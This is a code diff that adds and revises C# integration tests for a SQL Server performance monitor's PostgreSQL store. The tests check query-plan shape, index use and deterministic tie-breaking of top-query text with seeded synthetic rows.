+            /* #5299 round 2, N1: a ranked key whose only text lies outside the window (a window past raw retention) lands in
+               latest_any. It used to scan every raw row of the server and join them to the missing keys; it must probe
+               idx_query_stats_server_hash_time once per missing key instead. 125 keys each have one textless row in the
+               window and 20 rows with a text ten days back, and 5,000 rows of other keys sit beside them, so a whole-table
+               read is about 7,600 rows and a per-key probe is a handful per key. */
+            const string indexName = "idx_query_stats_server_hash_time";
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "CREATE INDEX IF NOT EXISTS " + indexName + " ON collect.query_stats (server_id, query_hash, collection_time DESC)");
+            /* The database is this test's own scratch store, so the index goes with it: no teardown to run. */
+            const string columns = @"(collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                       query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                       delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                       min_dop, max_dop, sample_interval_seconds)";
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO query_stats " + columns + @"
+                  SELECT $1 + g, $2, $3, $4, 'PlanDb', '0xK' || g, '0xP', '0xS', '0xL', NULL, 10, 1000000 - g, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600
+                  FROM generate_series(1, $5) AS g",
+                CollectionIdGenerator.Next(), now.AddHours(-1), serverId, ServerName, Candidates);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO query_stats " + columns + @"
+                  SELECT $1 + g * 100 + r, $2 - (r * interval '1 minute'), $3, $4, 'PlanDb', '0xK' || g, '0xP', '0xS', '0xL', 'a5299-plan old text ' || g, 10, 100, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600
+                  FROM generate_series(1, $5) AS g CROSS JOIN generate_series(1, 20) AS r",
+                CollectionIdGenerator.Next() + 1_000_000, now.AddDays(-10), serverId, ServerName, Candidates);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO query_stats " + columns + @"
+                  SELECT $1 + g, $2 - (g * interval '1 second'), $3, $4, 'PlanDb', '0xF' || g, '0xP', '0xS', '0xL', 'a5299-plan filler ' || g, 10, 100, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600
+                  FROM generate_series(1, 5000) AS g",
+                CollectionIdGenerator.Next() + 2_000_000, now.AddDays(-9), serverId, ServerName);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "ANALYZE collect.query_stats");
+
+            /* The stand-in keeps the window rows only (the rollup outlives raw), so the ranked keys are the 125 textless
+               keys and every text has to come from the fallback. */
+            var standIn = "(SELECT server_id, collection_time AS bucket, database_name, query_hash, sql_handle, " +
+                "delta_execution_count AS execution_count_sum, delta_worker_time AS worker_time_sum, " +
+                "delta_elapsed_time AS elapsed_time_sum FROM collect.query_stats WHERE collection_time >= '" +
+                now.AddDays(-2).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture) + "') AS f";
+            var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Cpu, hourly: true)
+                .Replace("$FROM$", standIn, StringComparison.Ordinal)
+                .Replace("$IOSUMS$", TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+                .Replace("$CEIL$", "", StringComparison.Ordinal);
+            var plan = await ExplainAsync(connection, sql, ct, serverId, now.AddHours(-24), now.AddMinutes(5),
+                P(NpgsqlDbType.Integer, Top), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, Candidates));
+
+            /* Every raw read that is neither the ranking nor the in-window lookup is the fallback (the old shape was inlined into the join, so no CTE name). */
+            var lookup = Nodes(plan.Root, null).Where(n => n.Relation == "query_stats" && n.Cte != "ranked" && n.Cte != "latest_in_window").ToList();
+            Assert.NotEmpty(lookup);
+            var read = lookup.Sum(n => (n.Rows + n.Removed) * n.Loops);
+            Assert.True(read <= Candidates * 4,
+                $"the hourly fallback read {read} raw rows [{string.Join("; ", lookup.Select(n => $"{n.NodeType} loops={n.Loops} rows={n.Rows} removed={n.Removed}"))}] for {Candidates} missing keys; " +
+                "it must probe the index about once per key, not read the raw table");
+        }, "a5299-hourly-fallback", bulk: false);
+
+    // ------------------------------------------------------------------ plan reading
+
+    private static void AssertLookupRanOnce(string name, Plan plan)
+    {
+        var all = Nodes(plan.Root, null).ToList();
+        /* The defect, as the plan shows it: a sequential scan of the text dimension that ran once per ranked row. */
+        var rescans = all.Where(n => n.Relation == "query_text_dim" && n.NodeType == "Seq Scan" && n.Loops > 1).ToList();
+        var lookup = all.Where(n => n.Cte == "latest_text").ToList();
+        Assert.True(rescans.Count == 0 && lookup.Count > 0,
+            $"{name}: latest_text is not its own CTE node (found {lookup.Count} nodes), so PostgreSQL inlined it into the join and re-runs it per ranked row; " +
+            $"query_text_dim was scanned {string.Join(", ", rescans.Select(n => n.Loops + " times"))} (add MATERIALIZED)");
+        var root = lookup.OrderBy(n => n.Depth).First();
+        Assert.True(root.Loops == 1, $"{name}: the text lookup ran {root.Loops} times; it must run once");
+    }
+
+    private sealed record Plan(JsonElement Root, double Ms);
+
+    private sealed record PlanNode(string NodeType, string? Relation, string? Cte, long Loops, long Rows, long Removed, int Depth);
+
+    /// <summary>Walks the plan. <c>Cte</c> is the CTE a node sits under ("CTE name" in Subplan Name), or null.</summary>
+    private static IEnumerable<PlanNode> Nodes(JsonElement node, string? cte, int depth = 0)
+    {
+        if (node.TryGetProperty("Subplan Name", out var sub) && sub.GetString() is { } s && s.StartsWith("CTE ", StringComparison.Ordinal))
+        {
+            cte = s[4..];
+        }
+
+        long Get(string p) => node.TryGetProperty(p, out var v) && v.ValueKind == JsonValueKind.Number ? (long)v.GetDouble() : 0;
+        yield return new PlanNode(
+            node.GetProperty("Node Type").GetString()!,
+            node.TryGetProperty("Relation Name", out var r) ? r.GetString() : null,
+            cte, Get("Actual Loops"), Get("Actual Rows"),
+            Get("Rows Removed by Filter") + Get("Rows Removed by Index Recheck"), depth);
+
+        if (node.TryGetProperty("Plans", out var plans))
+        {
+            foreach (var child in plans.EnumerateArray())
+            {
+                foreach (var n in Nodes(child, cte, depth + 1))
+                {
+                    yield return n;
+                }
+            }
+        }
+    }
+
+    private static NpgsqlParameter P(NpgsqlDbType type, object? value) => new() { NpgsqlDbType = type, Value = value ?? DBNull.Value };
+
+    private static async Task<Plan> ExplainAsync(NpgsqlConnection connection, string sql, CancellationToken ct,
+        int serverId, DateTime start, DateTime end, params NpgsqlParameter[] rest)
+    {
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, FORMAT JSON) " + sql, connection) { CommandTimeout = 120 };
+        command.Parameters.Add(P(NpgsqlDbType.Integer, serverId));
+        command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(start, DateTimeKind.Unspecified)));
+        command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(end, DateTimeKind.Unspecified)));
+        foreach (var p in rest)
+        {
+            command.Parameters.Add(p);
+        }
+
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        var doc = JsonDocument.Parse(json).RootElement[0];
+        return new Plan(doc.GetProperty("Plan").Clone(), doc.GetProperty("Execution Time").GetDouble());
+    }
+
+    // ------------------------------------------------------------------ the seed
+
+    /// <summary>
+    /// 120 WAITFOR shells that outrank 30 real groups, twelve rows each, texts only in the dimension (the modern shape:
+    /// the stat row keeps a digest, not the text). The tables are NOT analyzed, which is what makes the planner estimate
+    /// one row for the lookup on a store the collectors have just filled.
+    /// </summary>
+    private static async Task WithSeedAsync(Func<NpgsqlConnection, int, DateTime, CancellationToken, Task> body, string serverName = ServerName, bool bulk = true)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live plan tests (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        /* #4650: a scratch database, so no other class's leftover chunks shape the plan under test. */
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connectionString = scratch.ConnectionString;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(CultureInfo.InvariantCulture,
+            "DELETE FROM query_stats WHERE server_id = {0}; DELETE FROM query_text_dim WHERE query_text LIKE '%a5299-plan%'; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            var now = DarlingMcpTestData.Naive(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
+            if (bulk)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_text_dim (digest, query_text, last_seen)
+                      SELECT sha256(convert_to(t.text, 'UTF8')), t.text, now() AT TIME ZONE 'UTC'
+                      FROM (SELECT CASE WHEN g <= $1 THEN 'WAITFOR DELAY ''00:00:30'' /* a5299-plan ' || g || ' */'
+                                        ELSE 'SELECT real /* a5299-plan ' || g || ' */' END AS text
+                            FROM generate_series(1, $1 + $2) AS g) AS t
+                      ON CONFLICT (digest) DO NOTHING",
+                    Shells, Real);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO query_stats
+                          (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                           query_text, query_text_digest, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                           delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                           min_dop, max_dop, sample_interval_seconds)
+                      SELECT $1 + g * 100 + r, $2 - (r * interval '1 hour'), $3, $4, 'PlanDb', '0xH' || g, '0xP' || g, '0xS' || g, '0xL' || g,
+                             NULL,
+                             sha256(convert_to(CASE WHEN g <= $5 THEN 'WAITFOR DELAY ''00:00:30'' /* a5299-plan ' || g || ' */'
+                                                    ELSE 'SELECT real /* a5299-plan ' || g || ' */' END, 'UTF8')),
+                             10, (CASE WHEN g <= $5 THEN 2000000 ELSE 20000 END) - g * 100, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600
+                      FROM generate_series(1, $5 + $6) AS g CROSS JOIN generate_series(1, $7) AS r",
+                    CollectionIdGenerator.Next(), now.AddMinutes(-30), serverId, serverName, Shells, Real, RowsPerGroup);
+            }
+
+            await body(connection, serverId, now, ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TopTextTieBreakLiveTests.cs b/Darling/Darling.Tests/TopTextTieBreakLiveTests.cs
new file mode 100644
index 0000000000..39423fecf1
--- /dev/null
+++ b/Darling/Darling.Tests/TopTextTieBreakLiveTests.cs
@@ -0,0 +1,222 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5299 round 2 (N3 and N6): a newest-text pick and a top statement are deterministic when two rows tie. Two rows of one key at the
+/// same <c>collection_time</c> with different texts (one shape hash, two plans, one collection) used to give an arbitrary text, which
+/// also decides the WAITFOR trim; two groups with an exactly equal ranking value used to come out in an arbitrary order, so a refill
+/// round could pick different members. The text now breaks the tie on <c>collection_id DESC</c> (the row collected last, unique per
+/// row) and the ranking on the group key. Each case seeds the tie so the arbitrary answer is the WRONG one (the lower id is inserted
+/// first, and a heap scan returns it first), reads the statement three times, and asserts the same answer each time.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TopTextTieBreakLiveTests
+{
+    private const string TextServer = "a5299-tie-text";
+    private const string StoreServer = "a5299-tie-store";
+
+    private static NpgsqlParameter P(NpgsqlDbType type, object? value) => new() { NpgsqlDbType = type, Value = value ?? DBNull.Value };
+
+    private const string StatsColumns = @"(collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                           query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                           delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                           min_dop, max_dop, sample_interval_seconds)";
+
+    private static async Task PlantStatAsync(NpgsqlConnection connection, int serverId, string serverName, string hash, DateTime at, string? text, long cpu, CancellationToken ct) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO query_stats " + StatsColumns + " VALUES ($1, $2, $3, $4, 'D1', $5, '0xP', '0xS', '0xL', $6, 10, $7, 100, 100, 0, 0, 1, 100, 1, 100, 1, 1, 3600)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, hash, text, cpu);
+
+    private static async Task PlantStoreAsync(NpgsqlConnection connection, int serverId, string serverName, long queryId, DateTime at, string text, CancellationToken ct, long? collectionId = null) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, query_hash, query_plan_hash, query_text, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads, avg_rowcount, min_dop, max_dop, last_execution_time)
+              VALUES ($1,$2,$3,$4,'D1',$5,7,'Regular','0xQH','0xPLAN',$6,10,5000,4000,800,0,40,250,1,4,$2)",
+            collectionId ?? CollectionIdGenerator.Next(), at, serverId, serverName, queryId, text);
+
+    /// <summary>Runs the statement and returns, per page row, the group key text and the representative text.</summary>
+    private static async Task<List<(string? Key, string? Text)>> ReadPageAsync(NpgsqlConnection connection, string sql, string keyColumn, CancellationToken ct,
+        int serverId, DateTime start, DateTime end, params NpgsqlParameter[] rest)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 60 };
+        command.Parameters.Add(P(NpgsqlDbType.Integer, serverId));
+        command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(start, DateTimeKind.Unspecified)));
+        command.Parameters.Add(P(NpgsqlDbType.Timestamp, DateTime.SpecifyKind(end, DateTimeKind.Unspecified)));
+        foreach (var p in rest)
+        {
+            command.Parameters.Add(p);
+        }
+
+        var rows = new List<(string?, string?)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var page = reader.GetOrdinal("page_ord");
+        var key = reader.GetOrdinal(keyColumn);
+        var text = reader.GetOrdinal("query_text");
+        while (await reader.ReadAsync(ct))
+        {
+            if (!reader.IsDBNull(page))
+            {
+                rows.Add((reader.IsDBNull(key) ? null : Convert.ToString(reader.GetValue(key), CultureInfo.InvariantCulture),
+                          reader.IsDBNull(text) ? null : reader.GetString(text)));
+            }
+        }
+
+        return rows;
+    }
+
+    private static async Task WithServerAsync(string serverName, Func<NpgsqlConnection, int, DateTime, CancellationToken, Task> body)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live tie-break tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(CultureInfo.InvariantCulture,
+            "DELETE FROM query_stats WHERE server_id = {0}; DELETE FROM query_store_stats WHERE server_id = {0}; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, serverId, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+
+    [Fact]
+    public Task TheRawAndViewerStatements_PickTheTextOfTheRowCollectedLast_WhenTwoRowsShareATime() =>
+        WithServerAsync(TextServer, async (connection, serverId, now, ct) =>
+        {
+            var tie = now.AddHours(-2);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT1", tie, "tie text A (lower collection id)", 5000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT1", tie, "tie text B (higher collection id)", 5000, ct);
+
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+            for (var run = 0; run < 3; run++)
+            {
+                foreach (var sql in new[] { DarlingDataReader.TopQueriesSql, DarlingDataReader.TopQueriesByHostObjectSql })
+                {
+                    var page = await ReadPageAsync(connection, TopRankings.Apply(sql, TopRanking.Cpu, hourly: false), "query_hash", ct, serverId, start, end,
+                        P(NpgsqlDbType.Integer, 5), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 0), P(NpgsqlDbType.Integer, 10));
+                    Assert.Equal("tie text B (higher collection id)", Assert.Single(page).Text);
+                }
+
+                var viewer = await ReadPageAsync(connection, ViewerDataService.TopQueriesSql, "query_hash", ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, 5), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 10));
+                Assert.Equal("tie text B (higher collection id)", Assert.Single(viewer).Text);
+            }
+        });
+
+    [Fact]
+    public Task TheHourlyStatement_PicksTheTextOfTheRowCollectedLast_InTheWindowAndInTheFallback() =>
+        WithServerAsync(TextServer, async (connection, serverId, now, ct) =>
+        {
+            /* In the window: two rows at one time. In the fallback: the key's window row has no text, and two rows ten days back share a time. */
+            await PlantStatAsync(connection, serverId, TextServer, "0xT1", now.AddHours(-2), "window text A", 5000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT1", now.AddHours(-2), "window text B", 5000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT2", now.AddHours(-3), null, 4000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT2", now.AddDays(-10), "old text A", 4000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT2", now.AddDays(-10), "old text B", 4000, ct);
+
+            var standIn = "(SELECT server_id, collection_time AS bucket, database_name, query_hash, sql_handle, " +
+                "delta_execution_count AS execution_count_sum, delta_worker_time AS worker_time_sum, " +
+                "delta_elapsed_time AS elapsed_time_sum FROM collect.query_stats WHERE collection_time >= '" +
+                now.AddDays(-2).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture) + "') AS f";
+            var sql = TopRankings.Apply(DarlingDataReader.TopQueriesHourlySql, TopRanking.Cpu, hourly: true)
+                .Replace("$FROM$", standIn, StringComparison.Ordinal)
+                .Replace("$IOSUMS$", TopRankings.HourlyNoIoSums, StringComparison.Ordinal)
+                .Replace("$CEIL$", "", StringComparison.Ordinal);
+            for (var run = 0; run < 3; run++)
+            {
+                var page = await ReadPageAsync(connection, sql, "query_hash", ct, serverId, now.AddHours(-24), now.AddMinutes(5),
+                    P(NpgsqlDbType.Integer, 5), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 10));
+                Assert.Equal(2, page.Count);
+                Assert.Equal("window text B", page.Find(r => r.Key == "0xT1").Text);
+                Assert.Equal("old text B", page.Find(r => r.Key == "0xT2").Text);
+            }
+        });
+
+    [Fact]
+    public Task TheQueryStoreStatements_PickTheTextOfTheRowCollectedLast_AndTheLowestKeyOnATie() =>
+        WithServerAsync(StoreServer, async (connection, serverId, now, ct) =>
+        {
+            var tie = now.AddHours(-2);
+            /* Query 20 is inserted before query 10, and both rank equally: the page of one must be query 10 on every read. */
+            await PlantStoreAsync(connection, serverId, StoreServer, 20, tie, "store text 20", ct);
+            await PlantStoreAsync(connection, serverId, StoreServer, 10, tie, "store text 10 A (lower collection id)", ct);
+            await PlantStoreAsync(connection, serverId, StoreServer, 10, tie, "store text 10 B (higher collection id)", ct);
+            /* Query 11's rows go in the other way round (the higher collection id first), so neither insertion order can be the answer. */
+            var baseId = CollectionIdGenerator.Next() + 1_000_000;
+            await PlantStoreAsync(connection, serverId, StoreServer, 11, tie, "store text 11 B (higher collection id)", ct, baseId + 2);
+            await PlantStoreAsync(connection, serverId, StoreServer, 11, tie, "store text 11 A (lower collection id)", ct, baseId + 1);
+
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+            for (var run = 0; run < 3; run++)
+            {
+                var page = await ReadPageAsync(connection, DarlingDataReader.QueryStoreTopSql, "query_id", ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, 1), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Text, null), P(NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 1));
+                Assert.Equal("10", Assert.Single(page).Key);
+                var viewerOne = await ReadPageAsync(connection, ViewerDataService.QueryStoreTopSql, "query_id", ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, 1), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 1));
+                Assert.Equal("10", Assert.Single(viewerOne).Key);
+
+                var all = await ReadPageAsync(connection, DarlingDataReader.QueryStoreTopSql, "query_id", ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, 3), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Text, null), P(NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 3));
+                var viewerAll = await ReadPageAsync(connection, ViewerDataService.QueryStoreTopSql, "query_id", ct, serverId, start, end,
+                    P(NpgsqlDbType.Integer, 3), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 3));
+                foreach (var rows in new[] { all, viewerAll })
+                {
+                    Assert.Equal(new string?[] { "10", "11", "20" }, rows.ConvertAll(r => r.Key).ToArray());
+                    Assert.Equal("store text 10 B (higher collection id)", rows[0].Text);
+                    Assert.Equal("store text 11 B (higher collection id)", rows[1].Text);
+                }
+            }
+        });
+
+    [Fact]
+    public Task TheViewerTopQueries_BreaksAnExactTieOnTheGroupKey() =>
+        WithServerAsync(TextServer, async (connection, serverId, now, ct) =>
+        {
+            /* Two groups with equal elapsed time; the higher hash is inserted first. One candidate: the lowest key must win every time. */
+            await PlantStatAsync(connection, serverId, TextServer, "0xT9", now.AddHours(-2), "viewer text 9", 5000, ct);
+            await PlantStatAsync(connection, serverId, TextServer, "0xT3", now.AddHours(-2), "viewer text 3", 5000, ct);
+
+            for (var run = 0; run < 3; run++)
+            {
+                var page = await ReadPageAsync(connection, ViewerDataService.TopQueriesSql, "query_hash", ct, serverId, now.AddHours(-24), now.AddMinutes(5),
+                    P(NpgsqlDbType.Integer, 1), P(NpgsqlDbType.Array | NpgsqlDbType.Text, null), P(NpgsqlDbType.Integer, 1));
+                Assert.Equal(("0xT3", "viewer text 3"), Assert.Single(page));
+            }
+        });
+}
diff --git a/Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs b/Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs
index 0a3d3f81c6..fcc0073506 100644
--- a/Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs
+++ b/Darling/Darling.Tests/TrendPayloadBudgetLiveTests.cs
@@ -225,12 +225,18 @@ private static void Measure(List<string> measured, string tool, int hours, strin
     /// database's pg_stat_database — counters cumulative where the collector stores them cumulative. And, over
     /// the last four hours only, 300 tenant databases with a data and a log file each: the 600-file server.
     /// </summary>
-    private static async Task SeedAsync(NpgsqlConnection connection, DateTime end, CancellationToken ct)
+    internal static async Task SeedAsync(
+        NpgsqlConnection connection, DateTime end, CancellationToken ct, int? serverId = null, string? serverName = null)
     {
+        /* #5425: TrendStaleStatsLiveTests seeds this same shape for a second server, a month earlier. */
+        var id = serverId ?? ServerId;
+        var name = serverName ?? ServerName;
+        Task Plant(string sql, long idOffset, DateTime first, int minutes) => PlantAsync(connection, ct, sql, idOffset, first, minutes, id, name);
+
         var weekStart = end.AddMinutes(-WeekMinutes);
         var rawStart = end.AddMinutes(-RawMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO file_io_stats
     (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type,
      physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
@@ -255,7 +261,7 @@ CROSS JOIN (VALUES
     (11, 'msdb', 'MSDBData.mdf', 'ROWS')
 ) AS f(i, db, file, kind)", 1_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO file_io_stats
     (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type,
      physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
@@ -269,7 +275,7 @@ FROM generate_series(0, $5) AS n
 CROSS JOIN generate_series(0, 299) AS d(i)
 CROSS JOIN (VALUES (0, '.mdf', 'ROWS'), (1, '_log.ldf', 'LOG')) AS k(j, suffix, kind)", 6_000_000L, end.AddHours(-4), 240);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO wait_stats
     (collection_id, collection_time, server_id, server_name, wait_type,
      delta_wait_time_ms, delta_signal_wait_time_ms, delta_waiting_tasks, sample_interval_seconds)
@@ -280,7 +286,7 @@ CROSS JOIN (VALUES (0, 'LCK_M_S'), (1, 'LCK_M_U'), (2, 'LCK_M_X'), (3, 'LCK_M_IS
                    (6, 'LCK_M_SIU'), (7, 'LCK_M_SIX'), (8, 'LCK_M_UIX'), (9, 'LCK_M_BU'), (10, 'LCK_M_RS_S'), (11, 'LCK_M_RIn_NL')
 ) AS w(i, wait_type)", 2_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO query_stats
     (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash,
      sql_handle, plan_handle, query_text, execution_count, total_worker_time, total_elapsed_time,
@@ -291,7 +297,7 @@ INSERT INTO query_stats
 FROM generate_series(0, $5) AS n
 CROSS JOIN (VALUES (0, '0x1C8F0E7D55A2B391'), (1, '0x2D90F18E66B3C4A2'), (2, '0x3EA1029F77C4D5B3')) AS q(i, hash)", 3_000_000L, rawStart, RawMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 WITH s AS (
     SELECT n, o.i, o.object_type, 1100 + (n % 13) * 57 AS r
     FROM generate_series(0, $5) AS n
@@ -306,7 +312,7 @@ INSERT INTO pg_io_stats
 FROM s
 WINDOW w AS (PARTITION BY i ORDER BY n)", 4_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 WITH s AS (
     SELECT n,
            6000 + (n % 11) * 217 AS commits,
@@ -329,7 +335,7 @@ FROM s
 
         /* #3960: the rest of the trend family, on the same week. One series each is enough for a payload size
            and cap census -- get_wait_trend's own series count comes from wait_stats' LCK_M_S rows above. */
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO cpu_utilization_stats
     (collection_id, collection_time, server_id, server_name, sample_time,
      sqlserver_cpu_utilization, other_process_cpu_utilization)
@@ -337,7 +343,7 @@ INSERT INTO cpu_utilization_stats
        40 + (n % 30), 10 + (n % 5)
 FROM generate_series(0, $5) AS n", 7_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO tempdb_stats
     (collection_id, collection_time, server_id, server_name,
      user_object_reserved_mb, internal_object_reserved_mb, version_store_reserved_mb,
@@ -347,7 +353,7 @@ INSERT INTO tempdb_stats
        175 + (n % 80), 825 - (n % 80), 5 + (n % 10), 55 + (n % 3), 12 + (n % 5)
 FROM generate_series(0, $5) AS n", 8_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO memory_stats
     (collection_id, collection_time, server_id, server_name,
      total_server_memory_mb, target_server_memory_mb, buffer_pool_mb, plan_cache_mb)
@@ -355,13 +361,13 @@ INSERT INTO memory_stats
        40000 + (n % 500), 49152, 35000 + (n % 400), 5000 + (n % 100)
 FROM generate_series(0, $5) AS n", 9_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO memory_grant_stats
     (collection_id, collection_time, server_id, server_name, resource_semaphore_id, pool_id, granted_memory_mb)
 SELECT $1 + n, $2 + n * interval '1 minute', $3, $4, 0, 2, 50 + (n % 30)
 FROM generate_series(0, $5) AS n", 10_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO perfmon_stats
     (collection_id, collection_time, server_id, server_name, object_name, counter_name, instance_name,
